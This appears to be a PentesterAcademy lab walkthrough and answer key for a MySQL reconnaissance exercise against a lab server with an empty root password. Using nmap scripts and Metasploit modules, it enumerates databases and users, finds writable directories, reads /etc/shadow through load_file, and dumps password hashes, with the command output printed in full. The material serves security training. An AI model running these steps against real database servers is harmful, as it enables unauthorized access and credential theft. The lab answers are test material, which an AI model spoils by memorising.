
ATTACK
DEFENSE
by PentesterAcademy

Name	MySQL Recon: Basics
URL	https://www.attackdefense.com/challengedetails?cid=529
Type	Network Recon : SQL Databases

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. What is the version of MySQL server?

Answer: 5.5.62

Command: nmap -sV 192.71.145.3

```
root@attackdefense:~# nmap -sV 192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 07:22 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000011s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 5.5.62-0ubuntu0.14.04.1
MAC Address: 02:42:C0:47:91:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
root@attackdefense:~#
```

Q2. What command is used to connect to remote MySQL database?

Command: mysql -h 192.71.145.3 -u root

```
root@attackdefense:~# mysql -h 192.71.145.3 -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 44
Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
```

Q3. How many databases are present on the database server?

Answer: 11

Command: show databases;

```
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| books              |
| data               |
| mysql              |
| password           |
| performance_schema |
| secret             |
| store              |
| upload             |
| vendors            |
| videos             |
+--------------------+
11 rows in set (0.00 sec)

MySQL [(none)]>
```

Q4. How many records are present in table “authors”? This table is present inside the “books” database.

Answer: 10

Commands:
use books;
select count(*) from authors;

```
MySQL [(none)]> use books;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [books]> select count(*) from authors;
+----------+
| count(*) |
+----------+
|       10 |
+----------+
1 row in set (0.00 sec)

MySQL [books]>
```

Q5. Dump the schema of all databases from the server using suitable metasploit module?

Commands:
msfconsole
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS 192.71.145.3
set USERNAME root
set PASSWORD ""
exploit

```
msf5 > use auxiliary/scanner/mysql/mysql_schemadump
msf5 auxiliary(scanner/mysql/mysql_schemadump) > set RHOSTS 192.71.145.3
RHOSTS => 192.71.145.3
msf5 auxiliary(scanner/mysql/mysql_schemadump) > set USERNAME root
USERNAME => root
msf5 auxiliary(scanner/mysql/mysql_schemadump) > set PASSWORD ""
PASSWORD =>
msf5 auxiliary(scanner/mysql/mysql_schemadump) > exploit

[+] 192.71.145.3:3306     - Schema stored in: /root/.msf4/loot/20190526074549_default_192.71.145.3_mysql_schema_891849.txt
[+] 192.71.145.3:3306     - MySQL Server Schema
 Host: 192.71.145.3
 Port: 3306
 ====================

---
- DBName: books
  Tables:
  - TableName: authors
    Columns:
    - ColumnName: id
      ColumnType: int(11)
    - ColumnName: first_name
      ColumnType: varchar(50)
    - ColumnName: last_name
      ColumnType: varchar(50)
    - ColumnName: email
      ColumnType: varchar(100)
    - ColumnName: birthdate
```

Q6. How many directories present in the /usr/share/metasploit-framework/data/wordlists/directory.txt, are writable? List the names.

Answer: 2
/tmp, /root

Commands:

use auxiliary/scanner/mysql/mysql_writable_dirs
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set RHOSTS 192.71.145.3
set VERBOSE false
set PASSWORD ""
exploit

```
msf5 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_writable_dirs
msf5 auxiliary(scanner/mysql/mysql_writable_dirs) > set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
DIR_LIST => /usr/share/metasploit-framework/data/wordlists/directory.txt
msf5 auxiliary(scanner/mysql/mysql_writable_dirs) > set RHOSTS 192.71.145.3
RHOSTS => 192.71.145.3
msf5 auxiliary(scanner/mysql/mysql_writable_dirs) > set VERBOSE false
VERBOSE => false
msf5 auxiliary(scanner/mysql/mysql_writable_dirs) > set PASSWORD ""
PASSWORD =>
msf5 auxiliary(scanner/mysql/mysql_writable_dirs) > exploit

[!] 192.71.145.3:3306     - For every writable directory found, a file called oSEupgVw with the text test will be written to the dire
ctory.
[*] 192.71.145.3:3306     - Login...
[*] 192.71.145.3:3306     - Checking /tmp...
[+] 192.71.145.3:3306     - /tmp is writeable
[*] 192.71.145.3:3306     - Checking /etc/passwd...
[!] 192.71.145.3:3306     - Can't create/write to file '/etc/passwd/oSEupgVw' (Errcode: 20)
[*] 192.71.145.3:3306     - Checking /etc/shadow...
[!] 192.71.145.3:3306     - Can't create/write to file '/etc/shadow/oSEupgVw' (Errcode: 20)
[*] 192.71.145.3:3306     - Checking /root...
[+] 192.71.145.3:3306     - /root is writeable
[*] 192.71.145.3:3306     - Checking /home...
[!] 192.71.145.3:3306     - Can't create/write to file '/home/oSEupgVw' (Errcode: 13)
[*] 192.71.145.3:3306     - Checking /etc...
[!] 192.71.145.3:3306     - Can't create/write to file '/etc/oSEupgVw' (Errcode: 13)
[*] 192.71.145.3:3306     - Checking /etc/hosts...
[!] 192.71.145.3:3306     - Can't create/write to file '/etc/hosts/oSEupgVw' (Errcode: 20)
```

Q7. How many of sensitive files present in /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt are readable? List the names.

Answer: 10
/etc/passwd, /etc/shadow, /etc/group, /etc/mysql/my.cnf, /etc/hosts, /etc/hosts.allow, /etc/hosts.deny, /etc/issue, /etc/fstab, /proc/version

Commands:
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS 192.71.145.3
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""
exploit

```
msf5 auxiliary(scanner/mysql/mysql_writable_dirs) > use auxiliary/scanner/mysql/mysql_file_enum
msf5 auxiliary(scanner/mysql/mysql_file_enum) > set RHOSTS 192.71.145.3
RHOSTS => 192.71.145.3
msf5 auxiliary(scanner/mysql/mysql_file_enum) > set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
FILE_LIST => /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
msf5 auxiliary(scanner/mysql/mysql_file_enum) > set PASSWORD ""
PASSWORD =>
msf5 auxiliary(scanner/mysql/mysql_file_enum) > exploit

[+] 192.71.145.3:3306     - /etc/passwd is a file and exists
[+] 192.71.145.3:3306     - /etc/shadow is a file and exists
[+] 192.71.145.3:3306     - /etc/group is a file and exists
[+] 192.71.145.3:3306     - /etc/mysql/my.cnf is a file and exists
[+] 192.71.145.3:3306     - /etc/hosts is a file and exists
[+] 192.71.145.3:3306     - /etc/hosts.allow is a file and exists
[+] 192.71.145.3:3306     - /etc/hosts.deny is a file and exists
[+] 192.71.145.3:3306     - /etc/issue is a file and exists
[+] 192.71.145.3:3306     - /etc/fstab is a file and exists
[+] 192.71.145.3:3306     - /proc/version is a file and exists
[*] 192.71.145.3:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/mysql/mysql_file_enum) >
```

Q8. Find the system password hash for user "root".

Answer:
S1eBFuRRxwD7qEcUIjHxV7Rkj9OXaIGbIOiHsjPZF2uGmGBjRQ3rrQY3/6M.fWHRBHRntsKhg
qnCIY2.KC.vA/

Commands:
mysql -h 192.71.145.3 -u root
select load_file("/etc/shadow");

```
root@attackdefense:~# mysql -h 192.71.145.3 -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> select load_file("/etc/shadow");
+--------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------+
| load_file("/etc/shadow")
                                                                                                                    |
+--------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------+
| root:$6$eoOI5IAu$S1eBFuRRxwD7qEcUIjHxV7Rkj9OXaIGbIOiHsjPZF2uGmGBjRQ3rrQY3/6M.fWHRBHRntsKhgqnClY2.KC.vA/:17861:0:99999:7:::
```

Q9. How many database users are present on the database server? Lists their names and password hashes.

Answer: 8
debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
root:
filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
ultra:*827EC562775DC9CE458689D36687DCED320F34B0
guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

Commands:
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS 192.71.145.3
set USERNAME root
set PASSWORD ""
exploit

```
msf5 auxiliary(scanner/mysql/mysql_file_enum) > use auxiliary/scanner/mysql/mysql_hashdump
msf5 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 192.71.145.3
RHOSTS => 192.71.145.3
msf5 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root
USERNAME => root
msf5 auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD ""
PASSWORD =>
msf5 auxiliary(scanner/mysql/mysql_hashdump) > exploit

[+] 192.71.145.3:3306     - Saving HashString as Loot: root:
[+] 192.71.145.3:3306     - Saving HashString as Loot: root:
[+] 192.71.145.3:3306     - Saving HashString as Loot: root:
[+] 192.71.145.3:3306     - Saving HashString as Loot: root:
[+] 192.71.145.3:3306     - Saving HashString as Loot: debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
[+] 192.71.145.3:3306     - Saving HashString as Loot: root:
[+] 192.71.145.3:3306     - Saving HashString as Loot: filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] 192.71.145.3:3306     - Saving HashString as Loot: ultra:*827EC562775DC9CE458689D36687DCED320F34B0
[+] 192.71.145.3:3306     - Saving HashString as Loot: guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
[+] 192.71.145.3:3306     - Saving HashString as Loot: sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
[+] 192.71.145.3:3306     - Saving HashString as Loot: udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
[+] 192.71.145.3:3306     - Saving HashString as Loot: sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14
[*] 192.71.145.3:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/mysql/mysql_hashdump) >
```

Q10. Check whether anonymous login is allowed on MySQL Server.

Answer: Yes

Command: nmap --script=mysql-empty-password -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script=mysql-empty-password -p 3306 192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:43 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000061s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-empty-password:
|_  root account has empty password
MAC Address: 02:42:C0:47:91:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
root@attackdefense:~#
```

Q11. Check whether “InteractiveClient” capability is supported on the MySQL server.

Answer: Yes

Command: nmap --script=mysql-info -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script=mysql-info -p 3306 192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:42 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000057s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-info:
|   Protocol: 10
|   Version: 5.5.62-0ubuntu0.14.04.1
|   Thread ID: 63
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, ConnectWithDatabase, Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, ODBCClient, Lon
gPassword, Speaks41ProtocolNew, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, DontAllowDatabaseTableColumn,
 SupportsCompression, FoundRows, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: _AdXj-?4'gP>$7(a2tti
|_  Auth Plugin Name: 96
MAC Address: 02:42:C0:47:91:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
root@attackdefense:~#
```

Q12. Enumerate the users present on MySQL database server using mysql-users nmap script.

Answer: root, debian-sys-maint, guest, sigver, sysadmin, udadmin, ultra

Command: nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass='"' -p 3306  192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:41 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000057s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-users:
|   filetest
|   root
|   debian-sys-maint
|   guest
|   sigver
|   sysadmin
|   udadmin
|_  ultra
MAC Address: 02:42:C0:47:91:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
root@attackdefense:~#
```

Q13. List all databases stored on the MySQL Server using nmap script.

Answer: information_schema, books, data, mysql, password, performance_schema, secret, store, upload, vendors, videos

Command: nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass="" -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass='"' -p 3306 192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:40 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000062s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-databases:
|   information_schema
|   books
|   data
|   mysql
|   password
|   performance_schema
|   secret
|   store
|   upload
|   vendors
|_  videos
MAC Address: 02:42:C0:47:91:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
root@attackdefense:~#
```

Q14. Find the data directory used by mysql server using nmap script.

Answer: /var/lib/mysql

Command: nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass="" -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass='"' -p 3306 192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:39 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000057s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-variables:
|   auto_increment_increment: 1
|   auto_increment_offset: 1
|   autocommit: ON
|   automatic_sp_privileges: ON
|   back_log: 50
|   basedir: /usr
|   big_tables: OFF
|   binlog_cache_size: 32768
|   binlog_direct_non_transactional_updates: OFF
|   binlog_format: STATEMENT
|   binlog_stmt_cache_size: 32768
|   bulk_insert_buffer_size: 8388608
|   concurrent_insert: AUTO
|   connect_timeout: 10
|   datadir: /var/lib/mysql/
|   date_format: %Y-%m-%d
|   datetime_format: %Y-%m-%d %H:%i:%s
|   default_storage_engine: InnoDB
|   default_week_format: 0
```

Q15. Check whether File Privileges can be granted to non admin users using mysql-audit nmap script.

Answer: No, File privileges cannot be granted.

Command: nmap --script=mysql-audit --script-args "mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script=mysql-audit --script-args "mysql-audit.username='root',mysql-audit.password='',mysql-audit.filena
me='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:38 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000046s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-audit:
|   CIS MySQL Benchmarks v1.0.2
|       3.1: Skip symbolic links => FAIL
|       3.2: Logs not on system partition => PASS
|       3.2: Logs not on database partition => PASS
|       4.1: Supported version of MySQL => REVIEW
|         Version: 5.5.62-0ubuntu0.14.04.1
|       4.4: Remove test database => PASS
|       4.5: Change admin account name => PASS
|       4.7: Verify Secure Password Hashes => PASS
|       4.9: Wildcards in user hostname => PASS
|         The following users were found with wildcards in hostname
|           filetest
|           root
|       4.10: No blank passwords => PASS
|         The following users were found having blank/empty passwords
|           root
```

```
|       5.3: Do not grant PROCESS privileges to non Admin users => PASS
|       5.4: Do not grant SUPER privileges to non Admin users => PASS
|       5.5: Do not grant SHUTDOWN privileges to non Admin users => PASS
|       5.6: Do not grant CREATE USER privileges to non Admin users => PASS
|       5.7: Do not grant RELOAD privileges to non Admin users => PASS
|       5.8: Do not grant GRANT privileges to non Admin users => PASS
|       6.2: Disable Load data local => FAIL
|       6.3: Disable old password hashing => FAIL
|       6.4: Safe show database => FAIL
|       6.5: Secure auth => FAIL
|       6.6: Grant tables => FAIL
|       6.7: Skip merge => FAIL
|       6.8: Skip networking => FAIL
|       6.9: Safe user create => FAIL
|       6.10: Skip symbolic links => FAIL
```

Q16. Dump all user hashes using nmap script.

Answer:

debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
ultra:*827EC562775DC9CE458689D36687DCED320F34B0
guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

Command: nmap --script mysql-dump-hashes --script-args="username='root',password="" -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script mysql-dump-hashes --script-args="username='root',password='"" -p 3306  192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:36 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000057s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-dump-hashes:
|   debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D
|   filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|   ultra:*827EC562775DC9CE458689D36687DCED320F34B0
|   guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646
|   sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
|   udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9
|_  sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14
MAC Address: 02:42:C0:47:91:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
root@attackdefense:~#
```

Q17. Find the number of records stored in table “authors” in database “books” stored on MySQL Server using mysql-query nmap script.

Answer: 10

Command: nmap --script=mysql-query --script-args="query='select count(*) from books.authors;',username='root',password="" -p 3306 192.71.145.3

```
root@attackdefense:~# nmap --script=mysql-query --script-args="query='select count(*) from books.authors;',username='root',password='
'" -p 3306 192.71.145.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 08:45 UTC
Nmap scan report for p23aalkrhjlnb1z1i72vv8esl.temp-network_a-71-145 (192.71.145.3)
Host is up (0.000057s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-query:
|   count(*)
|   10
|
|   Query: select count(*) from books.authors;
|_  User: root
MAC Address: 02:42:C0:47:91:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds
root@attackdefense:~#
```

References:

1. MySQL (https://www.mysql.com/)
2. Metasploit Module: MySQL Password Hashdump (https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql_hashdump)
3. Metasploit Module: MYSQL File/Directory Enumerator (https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql_file_enum)
4. Metasploit Module: MYSQL Directory Write Test (https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql_writable_dirs)
5. Metasploit Module: MYSQL Schema Dump (https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql_schemadump)
6. Nmap Script: mysql-empty-password (https://nmap.org/nsedoc/scripts/mysql-empty-password.html)
7. Nmap Script: mysql-info (https://nmap.org/nsedoc/scripts/mysql-info.html)
8. Nmap Script: mysql-users (https://nmap.org/nsedoc/scripts/mysql-users.html)
9. Nmap Script: mysql-databases (https://nmap.org/nsedoc/scripts/mysql-databases.html)
10. Nmap Script: mysql-variables (https://nmap.org/nsedoc/scripts/mysql-variables.html)
11. Nmap Script: mysql-audit (https://nmap.org/nsedoc/scripts/mysql-audit.html)
12. Nmap Script: mysql-query (https://nmap.org/nsedoc/scripts/mysql-query.html)
13. Nmap Script: mysql-dump-hashes (https://nmap.org/nsedoc/scripts/mysql-dump-hashes.html)